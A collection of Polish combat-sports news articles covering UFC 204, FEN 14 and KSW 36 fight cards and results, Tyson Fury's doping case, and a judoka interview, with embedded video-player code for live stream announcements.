Fantastyczna seria Daniela Omielańczuka dobiegła końca. Trzy zwycięstwa z rzędu i wystarczy. Stefan Struve okazał się zbyt mocny dla 34-latka. Holender był wyższy, cięższy i młodszy, a do tego rywalizował z potentatami UFC. Omielańczuk odważnie zaczął pojedynek i wymierzył kilka sierpów rywalowi. Struve nie pozostawał bierny, obalił Polaka i próbował zmusić go do poddania. 34-latek skutecznie się bronił i wyszedł cało z opresji. Holender był konsekwentny. W drugiej rundzie osiągnął swój cel. Ponownie sprowadził pojedynek do parteru i „udusił” Omielańczuka, który odklepał. Polak przegrał trzecią walkę w UFC, ale pierwszą przed czasem.

Łukasz Sajewski w Manchesterze pojawił się jako zastępca Rezy Madadiego. „Polski lekki” stanął na wprost debiutującego w UFC Marka Diakiese. Dla Sajewskiego było to starcie z kategorii „o życie”. Wcześniejsze dwie porażki postawiły 25-latka pod ścianą. Polak dobrze zaczął, gdyż w pierwszej rundzie dwa razy obalił rywala. Jednak kolejna odsłona to popis Anglika. Diakiese zasypał Sajewskiego ciosami i wygrał przez techniczny nokaut.

Skuteczna obrona

37-letni Michale Bisping w Manchesterze po raz pierwszy bronił pasa mistrzowskiego w wadze średniej. Tytuł wywalczył w kwietniu pokonując Luke'a Rockholda. Na gali UFC 204 spotkał się z Danem Hendersonem. Pięć zaciętych rund na korzyść Anglika – 48:47, 48:47, 49:46.

W ciekawie zapowiadającej się walce Gegard Mousasi pokonał w drugiej rundzie Vitora Belforta. Również przed czasem wygrał Jimi Manuwa. W drugiej rundzie znokautował Ovince'a St. Preuxa. W pierwszych odsłonach wygrywali Mirsad Bektić i Iuri Alcantara, którzy odpowiednio odprawiali Russella Doane oraz Brada Picketta.

Fot. sherdog.com

KM

Sarara vs Stolzenbach w walce o pas na gali FEN 14

Dennis Stolzenbach, dwukrotny mistrz Europy IKBA, będzie rywalem Tomasza Sarary w walce o pierwszy w historii tytuł mistrza federacji FEN w K-1 wagi cruiser. Smaczku temu pojedynkowi dodaje fakt, że 15 października na gali FEN 14 Silesian Rage w narożnikach obu zawodników staną dwaj świetni trenerzy – Ernesto Hoost i Miki Benazzouz.

Cichy wiatr – taki pseudonim nosi 27-letni reprezentant klubu Siam-Gym Valkenswaard, który 15 października stanie Tomkowi Sararze na drodze po upragniony tytuł mistrza FEN. Jak wyjaśnia trener Holendra, wysoko ceniony Miki Benazzouz, „cichy, ponieważ taki jest poza ringiem, a wiatr, bo kiedy już do niego wchodzi, to jest nie do zatrzymania”. Dennis Stolzenbach ma reputację spokojnego, skromnego faceta o sercu prawdziwego wojownika, dla którego słowo „zrezygnować” nie istnieje. Tej nieustępliwej postawie w walce zawdzięcza dwa tytuły mistrza Europy IKBA w wadze ciężkiej, zdobyte w 2011 i 2012 roku, a także mistrzostwo Holandii wywalczone w 2009 roku. Holender ma na swoim koncie 63 zawodowe walki, z których 41 zakończyło się jego zwycięstwem.

Tomasz Sarara to jeden z najlepszych na świecie zawodników wagi cruiser, srebrny medalista mistrzostw Europy WAKO z 2008 roku, zdobywca drugiego miejsca w turnieju K-1 World GP w Warszawie w 2010 roku i dwukrotny uczestnik turniejów Tatneft Arena. W swojej kolekcji ma także kilkanaście tytułów amatorskiego i zawodowego mistrza Polski w kickboxingu i K-1. W klatkoringu Fight Exclusive Night krakowianin stoczył trzy walki z rywalami z zagranicy, każdą z nich pewnie wygrywając – na gali FEN 7 w drugiej rundzie znokautował Niko Falina, a na galach FEN 8 i FEN 11 wypunktował kolejno Andre Schmelinga i Ivana Bartka. Jego ostatni zawodowy występ do jednak debiut… bokserski – dwa tygodnie temu na gali Windoor Boxing Night w Kaliszu w drugiej rundzie ciężko znokautował Łukasza Zygmunta, potwierdzając krążącą o nim od dawna opinię najlepszego boksera wśród polskich kickbokserów.

Warto wspomnieć, że w narożniku Tomasza Sarary podczas gali FEN 14 Silesian Rage ponownie zobaczymy legendarnego trenera Ernesto Hoosta, który jako zawodnik czterokrotnie zdobył tytuł mistrza K-1 World Grand Prix. Przez blisko rok Polak trenował u innego znanego szkoleniowca Mike’a Passaniera, ale niezadowolony z tej współpracy zdecydował się powrócić do Teamu Mr. Perfecta.

W pozostałych walkach gali FEN 14 Silesian Rage na zasadach K-1 kibice zobaczą Pawła Biszczaka, Kamila Jenela, Tomasza Gromadzkiego i Pavla Oboznego, a w pojedynkach w formule MMA wystąpią m.in. Roman Szymański, który będzie bronił pasa mistrzowskiego w starciu z Brazylijczykiem Joiltonem Santosem, a także Paweł Hadaś, Paweł Brandys, Mateusz Strzelczyk, Albert Odzimkowski, Tyberiusz Kowalczyk, Akop Szostak i Adrian Błeszyński.

Zobacz także: oficjalny trailer gali FEN 14 Silesian Rage

Bilety na galę FEN 14 można jeszcze kupić w serwisach Eventim.pl oraz KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.

Więcej informacji o gali FEN 14 Silesian Rage na bieżąco na fanpage’u FEN na Facebooku.

FEN

Piotrowski odznaczony po raz drugi

Po raz kolejny cała Polska usłyszała o Marku Piotrowskim. Tym razem nasz wybitny kickboxer został odznaczony Krzyżem Oficerskim Orderu Odrodzenia Polski przyznany przez prezydenta Andrzeja Dudę. Piotrowski wspomniane wyróżnienie otrzymał po raz drugi.

Legenda, mistrz, niedościgniony wzór, idol – wielu kickboxerów tak właśnie określa Marka Piotrowskiego. Mistrz świata stał się swojego rodzaju guru, ale zrobił wiele, aby tak było. Krzyż Oficerski Orderu Odrodzenia Polski pozwolił nieco „odkurzyć” Piotrowskiego.

Wielki mistrz

Popularny „Punisher” przygody ze sportami walki wcale nie rozpoczął od kickboxingu. Najpierw zafascynowało go karate i szło mu całkiem dobrze, gdyż zapisał na swoim koncie mistrzostwo Polski seniorów. Jednak w 1987 roku zdecydował się „przebranżowić” i rozpoczął przygodę z kicboxingiem. Wystarczyło kilka miesięcy, żeby wywalczył amatorskie mistrzostwo świata.

Świat stał u jego stóp. W 1988 roku ruszył na podbój Stanów Zjednoczonych. Kariera zawodowa rozwijała się idealnie. Polak zaczął od znokautowania w czwartej rundzie Boba Handegana. Cały świat pytał, kim jest Piotrowski, kiedy „Punisher” odprawił z kwitkiem Ricka Roufusa. Zwycięstwo dało mu mistrzostwo USA PKC. Piotrowski kroczył do zwycięstwa do zwycięstwa. Nadszedł czas rewanżu z Roufusem, w którym rywal okazał się lepszy i posłał Polaka w drugiej rundzie na deski. To była pierwsza porażka Piotrowskiego. Drugą poniósł z Robem Kamanem. I tyle. Niesamowity bilans Piotrowskiego budzi wielki podziw. Ponad czterdzieści zwycięstw, w tym 27 przed czasem. Fenomen, wytrzymały i do bólu skuteczny wojownik.

Rywalizację na płaszczyźnie kickboxingu Piotrowski łączył z boksem. W wadze półciężkiej wygrał wszystkie, 21, walk. Z boksem pożegnał się w 1996 roku. Ostatnią walkę w kickboxingu stoczył rok wcześniej.

Był i nadal jest wielkim mistrzem. Jednak życie nie oszczędzało 52-latka. Choroba zwyrodnieniowa układu nerwowego, problemy osobiste, brak pieniędzy. Mimo to nie ugiął się. Piotrowski pokazał, że walczyć umie nie tylko w ringu. Bez wątpienia wielki mistrz jest przykładem godnym naśladowania.

Uhonorowany

W trudnych chwilach wiele osób obecnych podczas sukcesów Piotrowskiego, kiedy pojawiły się problemy odwróciło się od niego. Jednak nie zabrakło ludzi, którzy chcieli pomóc. Organizowali różne akcje wsparcia dla byłego kickboxera. Piotrowski pojawia się podczas różnych gal i nadal jest wielbiony przez tłumy.

W ostatnich dniach Piotrowski po raz drugi został odznaczony Krzyżem Oficerskim Orderu Odrodzenia Polski przyznanym przez prezydenta Andrzeja Dudę. Wyróżnienie Piotrowskiemu wręczył Witold Bańka, minister sportu. Warto dodać, że to nie pierwsze tego typu odznaczenie dla kickboxera. W 2009 roku został uhonorowany w ten sposób przez św.p. prezydenta Lecha Kaczyńskiego.

Tak mały gest, jednak pokazuje tak wiele. Marek Piotrowski dał nam wiele pięknych chwil, nadal pokazuje, co to znaczy walczyć i zwyciężać. Bierzmy z niego przykład. Tak jak i ci, którzy podkreślają, że chcą być tacy jak on. Niezwyciężeni.

KM

FEN 14 Silesian Rage: zapowiedź walki Brandys vs Hadaś

Paweł Hadaś​ na gali FEN 14 Silesian Rage​ zrobi wszystko, by odnieść siódme zawodowe zwycięstwo z rzędu. Paweł Brandys​ w debiucie w klatkoringu Fight Exclusive Night​ także liczy na pewną wygraną. Któremu z nich uda się osiągnąć cel w tym emocjonująco zapowiadającym się starciu? Zobaczymy już 15 października w katowickim Spodku!

[kod]

Czarne chmury nad Fury’m

Ostatnie tygodnie w życiu mistrza świata WBA i WBO są niezwykle ciężkie. Tyson Fury znalazł się na „cenzurowanym” po tym jak okazało się, że stosował kokainę. Wedle doniesień, Brytyjczyk mógłby stracić licencję bokserską.

Blisko rok temu Fury stał się bohaterem. Zdetronizował wielkiego Władimira Kliczko z tronu kategorii ciężkiej. Świat czekał na rewanżowy pojedynek obu pięściarzy, jednak termin przekładano. Z czasem postępowanie Fury'ego stało się zastanawiające. W końcu nastąpił szok.

Kolejny test

29 października w Manchesterze Tyson Fury miał ponownie stanąć naprzeciw Władimira Kliczko. We wrześniu obóz Brytyjczyka wycofał się z pojedynku. Tłumaczono to względami zdrowotnymi. Cóż, może się zdarzyć, jednak miłośnicy boksu zaczęli kipieć ze złości. To nie był pierwszy raz. Pierwotnie rewanż miał odbyć się w lipcu. Walkę odwołano ze względu na… kontuzję czempiona.

Informacje o wykryciu kokainy w organizmie Brytyjczyka wzbudziły ogromną dyskusję. Według ESPN.com, badania dopingowe dwukrotnie potwierdziły, że Fury stosował niedozwolone środki. 28-latek pierwszy test przeszedł 22 września. Dzień później walka z Kliczko została odwołana. Okazało się, że kokainę u Fury'ego znaleziono również w testach przeprowadzonych 21 września.

Oliwy do ognia dolał wywiad, którego czempion WBA i WBO udzielił magazynowi „Rollin Stone”. Przyznał się w nim do zażywania kokainy, nadużywania alkoholu oraz stosowania antydepresantów. Fury nie radził sobie z problemami i uznał, że to będzie najlepsza drogi walki. Ten wybór może go drogo kosztować.

Przyszłość Brytyjczyka wisi „na włosku”. Prawdopodobnie Fury straci mistrzowskie pasy, który zdobył w listopadzie ubiegłego roku pokonując Władimira Kliczko. Dodatkowo nad jego sprawą pochyli się Brytyjska Komisja Bokserska. Delegaci spotkają się 12 października. Niewykluczone, że Fury zostanie pozbawiony licencji bokserskiej.

Co z wagą ciężką?

Skandal z Fury'm przysłonił aspekt sportowy wagi ciężkiej. Brytyjczyk zajął całą powierzchnię dyskusji i nie brakuje wielu pytań, wątpliwości. Na wiążące decyzje trzeba jednak poczekać.

W całym zamieszaniu jednym z poszkodowanych jest Władimir Kliczko. Ukrainiec cierpliwie czekał na rewanżową walkę, w której chciał wrócić na tron. Coraz bardziej prawdopodobne, że były czempion stoczy bój o pasy. Niedawno informowaliśmy o możliwym starciu Kliczko z Anthony'm Joshuą, mistrzem IBF. Wychodzi na to, że do walki miałoby dojść 10 grudnia.

KM

LIVE: Masters Fighter K1 League

Zapraszamy na transmisję telewizyjną z gali Masters Fighter K-1 League w dniu 9 października 2016 r.. Start godz. 13.00.

[kod]

Masters Fighter K-1 League

Masters Fighter K-1 League

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/MK1FW_10_2016.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/MK1FW_10_2016.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/MK1FW_10_2016.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/MK1FW_10_2016.livx"
},
width: 640,
height: 385,
autoplay: false,
});

Andrzej Grzebyk w karcie walk gali FEN 14 Silesian Rage

Andrzej Grzebyk 15 października po blisko rocznej przerwie ponownie wystąpi w klatkoringu Fight Exclusive Night. Jeden z najbardziej perspektywicznych średnich polskiego MMA na gali FEN 14 Silesian Rage w katowickim Spodku zawalczy o swoje pierwsze zwycięstwo w organizacji FEN.

Walka na gali FEN 14 Silesian Rage będzie dla Andrzeja Grzebyka drugą w klatkoringu Fight Exclusive Night. Debiutował w listopadzie ubiegłego roku na gali FEN 9 Go For It we Wrocławiu w pamiętnej walce z Alessio Di Chirico – decyzją sędziowską zwycięstwo w tym wyrównanym, emocjonującym starciu przypadło w udziale występującemu obecnie w UFC Włochowi.

25-letni Andrzej Grzebyk pochodzi z Rzeszowa, jednak reprezentuje barwy Legion Team Tarnów, gdzie o rozwój jego talentu dba trener Radosław Piechnik. Wywodzi się z kickboxingu, ale w 2010 roku, po dwóch latach trenowania tej dyscypliny, poświęcił się mieszanym sztukom walki. Szybko potwierdził, że była do właściwa decyzja, bo jako amator zdobył m.in. mistrzostwo Polski juniorów i dwukrotnie tytuł mistrza Polski seniorów w MMA full contact. Na zawodowych arenach występuje od 2012 roku – dotychczas stoczył 11 walk, wygrywając osiem z nich. Na swoim koncie ma zwycięstwa z tak znanymi zawodnikami, jak Kamil Szymuszowski i Mindaugas Verzbickas.

Rywal Andrzeja Grzebyka zostanie ogłoszony w najbliższych dniach. W kategorii średniej na gali FEN 14 Silesian Rage walczyć będą również Mateusz Strzelczyk z Albertem Odzimkowskim i Łukasz Stanek z Adrianem Błeszyńskim. W pozostałych walkach na zasadach MMA kibice zobaczą m.in. Romana Szymańskiego, który będzie bronił pasa mistrzowskiego z starciu z Brazylijczykiem Joiltonem Santosem, a także Pawła Hadasia, Tyberiusza Kowalczyka i Akopa Szostaka, a w walkach K-1 – Tomasza Sararę, Pawła Biszczaka, Kamila Jenela i Tomasza Gromadzkiego.

Bilety na galę FEN 14 są już do kupienia w serwisach Eventim.pl oraz KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.

Więcej informacji o gali FEN 14 Silesian Rage na bieżąco na fanpage’u FEN na Facebooku.

FEN

Kuczera: Nie czuję się gwiazdą

Piotr Kuczera coraz pewniej czuje się w rywalizacji seniorskiej. Najlepszym potwierdzeniem jest wywalczenie przed 21-latka brązowego medalu mistrzostw Europy seniorów. Kilka tygodni temu Kuczera stanął na trzecim stopniu podium podczas zawodów Grand Prix w Zagrzebiu. 21-latek zachowuje „chłodną głowę” i ciężko pracuje na kolejne sukcesy.

Rok 2015 był fenomenalny w wykonaniu Kuczery. Stawał na podium mistrzostw świata i Europy juniorów, czym zwrócił na siebie uwagę. Wielu zastanawiało się, czy w rywalizacji seniorskiej judoka nie przepadnie. Zawodnik Kejza Team Rybnik „utarł nosa” niedowiarkom.

Wystrzelił jak z procy

Tegoroczne starty Kuczera rozpoczął od wywalczenia drugiej lokaty w Pucharze Europy w Oberwart. 21-latek utrzymuje równą i stabilną formę. We wrześniu wywalczył brąz w Zagrzebiu w zawodach rangi Grand Prix. Można powiedzieć, że Polakowi sprzyjało szczęście. – W Zagrzebiu nie był to typowy dzień startowy, czułem się nieswojo. Zazwyczaj moje walki wyglądają nieco inaczej. Niestety, był to mój gorszy dzień i musiałem szukać innych rozwiązań taktycznych na wygranie walki. Każdy przeciwnik jest inny i z niektórymi nie powinno się wchodzić w kontakt, bo to ich ulubiony sposób walki. Dlatego też musiałem trzymać dystans, choćby w pierwszej walce z Czarnogórcem, który nastawił się jedynie na kontrowanie przez ura nage. Niemiec pasował mi, dlatego nie musiałem zmieniać swojego stylu i mogłem bić się bardziej otwarcie – opisuje Piotr Kuczera.

Brąz wywalczony w Kazaniu to największy sukces w karierze 21-latka. Po takim sukcesie niejednemu do głowy uderzyła „sodówka”. Kuczera cieszy się z trzeciego miejsca na mistrzostwa Europy, ale nastawiony jest na dalszą pracę. – Na pewno jestem zadowolony z tego roku. Na mistrzostwach Europy seniorów pokazałem, że z każdym mogę wygrać i praca z moim trenerem Arturem Kejzą idzie w dobrym kierunku. Czy czuje się gwiazdą? Nie, bo wiem że takie myślenie nie pozwoli mi na osiągnięcie celu jaki sobie założyłem – tłumaczy judoka.

W przypadku Kuczery śmiało można powiedzieć, że nie odczuł przejścia z poziomu juniorskiego na seniorski. – Na pewno poziom w seniorach jest wyższy. Jednak będąc juniorem jeździłem na campy międzynarodowe seniorów. Dzięki temu mogłem podnosić swój poziom sportowy, ale też zobaczyć, że nie brakuje mi dużo do tego, żeby odnosić sukcesy w grupie seniorów.  Stres towarzyszy podczas każdych zawodów. Jednak nie różni się od tego, który był w juniorach – wyjaśnia brązowy medalista mistrzostw Europy.

Pracowita jesień

Kuczera nie próżnuje i ciężko pracuje, żeby w kolejnych startach zaprezentować się równie efektownie, co w Kazaniu i osiągnąć sukces. – Moje najbliższe cele to mistrzostwa Polski seniorów, gdzie będę walczył o utrzymanie tytułu mistrza Polski. Już tydzień później czeka mnie start na bardzo prestiżowej imprezie – Grand Slamie w Abu Dhabi. Bardzo ważne będą także młodzieżowe mistrzostwa Europy, które odbędą się w połowie listopada – przedstawia Kuczera.

Fot. PZJudo

KM

Nie z Fury’m, a z Joshuą?

Wokół rewanżowego starcia Tysona Fury'ego z Władimirem Kliczko pojawia się coraz więcej znaków zapytania. Walki ani widu, ani słychu… Niewykluczone, że Ukrainiec w tym roku powalczy o mistrzostwo świata. Jego rywalem miałby być czempion IBF Anthony Joshua.

Władimir Kliczko nie może doczekać się rewanżowego starcia z Fury'm, jednak mistrz WBO i WBA narzeka na problemy zdrowotne. Ostatnie doniesienia mówią o wykryciu w jego organizmie kokainy. W związku z tym Ukrainiec musi uzbroić się w cierpliwość bądź szukać innego rywala. 

Miał być hit, będzie hit?

Tyson Fury już po raz drugi z powodów zdrowotnych nie stanie do walki z Władimirem Kliczko. Napięcie dodatkowo potęguje fakt, że w organizmie Brytyjczyka wykryto kokainę. Pojawiają się pytania, czy w związku z tym możliwe jest odebranie pięściarzowi pasów WBA i WBO. W obronę 28-latka wziął trener Peter Fury. Czempion mógł być bohaterem, ale stał się obiektem ataków. Coraz powszechniejsza staje się opinia, że Fury po prostu unika starcia z Kliczko.

Publiczność wypatruje pokaźnego bokserskiego kąska. Kliczko czeka na kolejną walkę już ponad dziesięć miesięcy. Głód walki jest coraz większy i Ukrainiec chciałby wejść do ringu. Niewykluczone, że jeszcze w tym roku stoczy pojedynek, którego stawką będzie pas IBF. Coraz głośniej mówi się o zakontraktowaniu starcia Kliczko-Anthony Joshua. 26-latek miał stoczyć kolejną walkę w obronie pasa 26 listopada w Manchesterze. Czy jego rywalem będzie ukraiński bokser, który przez lata dominował w kategorii królewskiej? Ponoć obozy obu pięściarzy prowadzą zaawansowane rozmowy, których owoce powinniśmy niebawem poznać. W grę mają wchodzić dwa terminy – 26 listopada i 10 grudnia.

Joshua to „młody wilk”, na którego uwagę szersza publiczność zwróciła rok temu. W maju położył na deski mocnego Kevina Johnsona. 26-latek urodzony w Watfordzie ma potężny cios, który stał się już postrachem dla kolejnych rywali. Anglik wszystkie siedemnaście walk wygrał przed czasem! Tytuł IBF wywalczył w kwietniu br., kiedy to w Londynie w drugiej rundzie znokautował Charlesa Martina. Dotychczas tytułu bronił tylko raz. Dominic Breazeale dzielnie się trzymał, ale kres jego możliwości przypadł na siódmą rundę. 

Pojedynek Joshua-Kliczko byłoby spotkaniem dwóch pokoleń, ale przede wszystkim starciem elektryzującym miłośników boksu.  

Co z Wilderem?

Mistrz świata WBC zaimponował w walce z Chrisem Arreolą. Dokończył pojedynek z kontuzją prawej dłoni i cieszył się z czwartej obrony tytułu.

Po pojedynku nie było jednak kolorowo. Deontay Wilder musiał oddać się pod opiekę lekarzy, przeszedł trzy operacje kontuzjowanej dłoni. Walka odbyła się w lipcu, mamy październik, a bokser z Alabamy zameldował się na sali treningowej. Wilder tarczuje lewą ręką i na jego powrót trzeba jeszcze poczekać. W ringu powinien pojawić się w pierwszym kwartale 2017 roku, jednak widać, że jest głodny walki. Warto zatem dokonać porównania mistrza WBC i czempiona WBA i WBO. Ciekawe, kto korzystniej w nim wypadnie?

KM

Sajewski będzie walczył o życie

Łukasz Sajewski znalazł się w gronie zawodników, którzy zaprezentują się podczas galu UFC 204. 8 października Polak będzie rywalem Marca Diakiese. Dla 25-latka to pojedynek z kategorii „o życie”.

Tym samym na gali w Manchesterze pojawi się aż trzech Polaków. Zwycięską passę będzie chciał przedłużyć Daniel Omielańczuk, a Damian Stasiak postara się o drugie zwycięstwo w UFC.

W roli zastępcy

Pierwotnie Łukasz Sajewski nie był przewidziany jako uczestnik gali w Manchesterze. Naprzeciw niepokonanego Marca Diakese miał stanąć Reza Madadi. 38-letni zawodnik z Iranu nie wystąpi na UFC 204 z powodu kontuzji. W związku z tym Diakiese musiał się liczyć ze zmianą rywala. Doświadczonego Madadiego zastąpi o 13 lat młodszy polski „lekki”. Dla Sajewskiego będzie to trzecia walka w UFC, z kolei Anglik zadebiutuje w najlepszej organizacji MMA na świecie. 

25-letni „Wookie” może pochwalić się większym doświadczeniem od rywala. Ma na koncie trzynaście zawodowych walk. Z kolei Diakiese dotychczas stoczył dziewięć pojedynków i  nie doznał żadnej porażki. 23-letni angielski fighter może pochwalić się tytułem mistrza federacji BAMMA. Diakiese będzie przeżywał stres w związku z debiutem w UFC, z kolei Sajewski musi zrobić wszystko, aby odnieść pierwsze zwycięstwo w najlepszej organizacji MMA na świecie.

Dla 25-latka będzie to pojedynek „o życie”. Sajewski w debiucie przegrał z Nickiem Heinem, a w kolejnym starciu lepszy okazał się Gilbert Burns. „Wookie” jest na krawędzi i musi zrobić wszystko, aby udowodnić, że warto dać mu jeszcze jedną szansę. Polski fighter wskoczył do karty walk na tydzień przed galą. Czasu na przygotowanie się i na rozpracowanie rywala niewiele. Zatem przed Sajewskim ogromne wyzwanie i pytanie „być albo nie być”.

Będzie jeszcze dwóch

W Manchesterze będzie biało-czerwono. Już siódmy pojedynek dla organizacji Dana White'a stoczy Daniel Omielańczuk. 34-letni zawodnik wagi ciężkiej wygląda coraz pewniej w UFC, ma fantastyczną serię trzech zwycięstw z rzędu. Najbliższym rywalem polskiego fightera będzie mocny Stefan Struved. Holender związany jest już z UFC siedem lat. W tym czasie stoczył wiele pojedynków z gwiazdami wagi ciężkiej m.in. Roy'em Nelsonem czy Alistairem Overeemem. 28-latek przystępuje do starcia z Omielańczukiem po pokonaniu Antonio Silvy. Na odniesienie 27 zwycięstwa w karierze Holender potrzebował… 16 sekund.

Trzecią walkę w UFC stoczy Damian Stasiak. W kwietniu 25-latek pokazał kunszt w starciu z Filipem Pejiciem, którego zmusił do poddania w pierwszej rundzie. Rywalem Polaka będzie Davey Grant. 30-letni Anglik stoczył w UFC dwie walki, zapisał na swoim koncie jedno zwycięstwo. Spotkają się zawodnicy, którzy większość walk kończą przed poddanie.

W walce wieczoru UFC 204 mistrzowskiego pasa w wadze średniej będzie bronił Michael Bisping. Naprzeciw niego stanie Dan Henderson. Ciekawie zapowiada się starcie Gegarda Mousasiego z Vitorem Belfortem. 

KM

LIVE: Mistrzostwa Polski Muay Thai 2016

Zapraszamy na transmisję telewizyjną na żywo z Mistrzostw Polski Muay Thai. Zawody odbywają się w dniach 9-11 grudnia w Starachowicach.

[kod]

Mistrzostwa Polski Muay Thai Starachowice 2016

Mistrzostwa Polski Muay Thai Starachowice 2016

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/MP_MT_2016.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/MP_MT_2016.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/MP_MT_2016.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/MP_MT_2016.livx"
},
width: 640,
height: 385,
autoplay: false,
});

Materla zgasił Palharesa

Michał Materla pokazał, że stać go na wielkie rzeczy. Oszołomił znanego z występów w UFC Rousimara Palharesa. Podczas KSW 36 w Zielonej Górze mistrzowskie pasy obronili Tomasz Narkun i Mateusz Gamrot.

Miłośnicy MMA mogą być zadowoleni. Podczas zielonogórskiej gali zobaczyli wiele efektownych akcji. Kolejne walki rozgrzewały publiczność do czerwoności. 

Obronili swoje zdobycze

Mówiło się, że takiego fightera jak Rousimar Palhares jeszcze w Polsce nie było. Ogromne doświadczenie w UFC było najlepszą wykładnię możliwości Brazylijczyka, który nie miał litości dla rywali i kończył kolejne walki przed czasem. Michał Materla stanął przed trudnym wyzwaniem. Polak musiał być niezwykle czujny.

Po początkowym rozpoznaniu walka przeniosła się do parteru, gdzie z góry znalazł się Materla. Były mistrz wagi średniej był ostrożny, także w stójce, gdzie trzymał dystans i czarował lewą ręką. Czekał i wyczuł najlepszy moment. Ten nadszedł w drugiej rundzie. Materla prawym podbródkowym odciął Brazylijczykowi prąd, a ten padł na deski jak rażony prądem. Wielki triumf popularnego „Magica”.

Mateusz Gamrot zrobił, co do niego należał. Popularny „Gamer” coraz lepiej czuje się w roli mistrza wagi lekkiej KSW. Renato „Pezinho” Gomes miał okazję odczuć to na własnej skórze. Gamrot szybko sprowadził rywalizację do parteru, gdzie budował swoją przewagę. W końcówce pierwszej rundy pojedynek wrócił do stójki. Szybkość i zdecydowanie – to atuty Polaka, do których należy dodać również konsekwencję. Szukał skrętówki i w końcu się udało.  

Tomasz Narkun obronił tytuł w kategorii półciężkiej. Polak zalał ciosami doskonale znanego z rywalizacji z Janem Błachowiczem Rameau Sokoudjou. Czarnoskóry zawodnik próbował znaleźć sposób na mistrza w parterze, jednak Narkun również nie ustępował. Pojedynek był niezwykle dynamiczny. Wynik starcia rozstrzygnął się w stójce, gdzie mistrz KSW nie miał litości dla Sokoudjou. Sędzia przerwał walkę, obaj zawodnicy byli niezwykle zmęczeni. Niecałe pięć minut, ale żywiołowość, energia i efektowność walki podniosły emocje w zielonogórskiej hali.

Super Japończyk, efektowna Brazylijka

Po raz kolejny wysokie umiejętności potwierdził Kleber Koike Erbst. Japończyk udowodnił, że w parterze czuje się jak ryba w wodzie. Szukał, szukał i w końcu znalazł sposób na Leszka Krakowskiego. Trójkąt nogami okazał się metodą na wygraną 26-latka. W pojedynku „ciężkich” lepszy Michał Kita. Michał Włodarek sprowadził pojedynek do parteru, jednak okazał się to gwóźdź do trumny. Kita wykonał skuteczną gilotynę i rywal odklepał. Ariane Lipski coraz lepiej prezentuje się podczas występów w Polsce. Brazylijka prawym sierpowym wprawiła w oszołomienie Sheilę Gaff. Kolejny cios sprawił, że rywalka upadła na deski. Lipski takiej szansy zmarnować nie mogła.

Druga wygrana Grzegorza Szulakowskiego podczas przygody z KSW. 29-latek przez trzy rundy zdominował Bartłomieja Kurczewskiego. Panowie mieli spotkać się już na KSW 34, jednak kontuzja wyeliminowała wtedy Szulakowskiego. Kurczewski poniósł drugą porażkę z rzędu. Na zwycięstwo na KSW nadal czeka Katarzyna Lubońska, która nie potrafiła znaleźć sposobu na Dianę Belbitę. Przez dwie rundy Rumunka zbudowała przewagę, imponowała mocnymi kopnięciami. Trzecia odsłona spokojniejsza, w końcu doszło do obalenia, jednak Lubońska znalazła się na plecach i nie mogła zdziałać zbyt wiele. 

Zielonogórska gala rozpoczęła się od starcia Macieja Kazieczko i Mariusza Mazura. 23-latek szybko został sprowadzony przez rywala do parteru. Mazur dominował, jednak Kazieczko dał sygnał, że może być groźny. Próbował zaskoczyć rywala balachą, ale bezskutecznie. Druga odsłona zdecydowanie na korzyść poznaniaka, który naruszył Mazura podbródkowym i potraktował go kilkoma łokciami. W trzeciej odsłonie walka toczyła się w karierze. Mazur nie był w stanie pokazać swoich możliwości w pojedynku debiutantów musiał uznać wyższość rywala.

KM

LIVE: Gala Angels of Glory II

Zapraszamy na transmisję telewizyjną z gali zawodowej K-1 "Angels of Glory II", której organizatorem jest federacja Ultimate Combat Associations. Gala odbędzię się w piątek 5 listopada 2016 r. w hali MOSiR w Sandomierzu.

[kod]

Gala Angels of Glory II

Gala Angels of Glory II

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/AoG2.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/AoG2.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/AoG2.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/AoG2.livx"
},
width: 640,
height: 385,
autoplay: false,
});

Kto rozgrzeje zielonogórską publiczność?

W ostatnich dniach furorę robi informacja na temat walki Mariusza Pudzianowskiego z Pawłem „Popkiem” Rakiem na KSW 37. Jednak najbliższa gala zapowiada się równie emocjonująco. Na KSW 36 w Zielonej Górze pojawi się wielu ciekawych zawodników. W walce wieczoru Michał Materla zmierzy się z mocnym Rousimarem Palharesem.

KSW wyprowadza coraz mocniejsze ciosy. Akcja z zatrzymaniem „Popka” wprawiła niemalże wszystkich w osłupienie. Mocne tąpnięcie przed KSW 36. Pojawia się pytanie, czy zbliżająca się gala nie będzie nieco w cieniu ostatnich wydarzeń?

Wyzwanie Materli

Patrząc na fightcard zielonogórskiej gali można spodziewać się wielu ciekawych pojedynków. Apetyt rośnie w miarę jedzenia. W klatce KSW pojawi się 36-letni Rousimar Palhares. W walce wieczoru Brazylijczyk zmierzy się z Michałem Materlą, który stanie przed niezwykle trudnym wyzwaniem. Palhares to fighter, który stoczył dwanaście walk dla UFC. Po raz ostatni na gali amerykańskiej organizacji pojawił się w październiku 2013 roku. Brazylijczyk potrzebował zaledwie 31 sekund, aby rozprawić się z Mike'm Pierce'm.

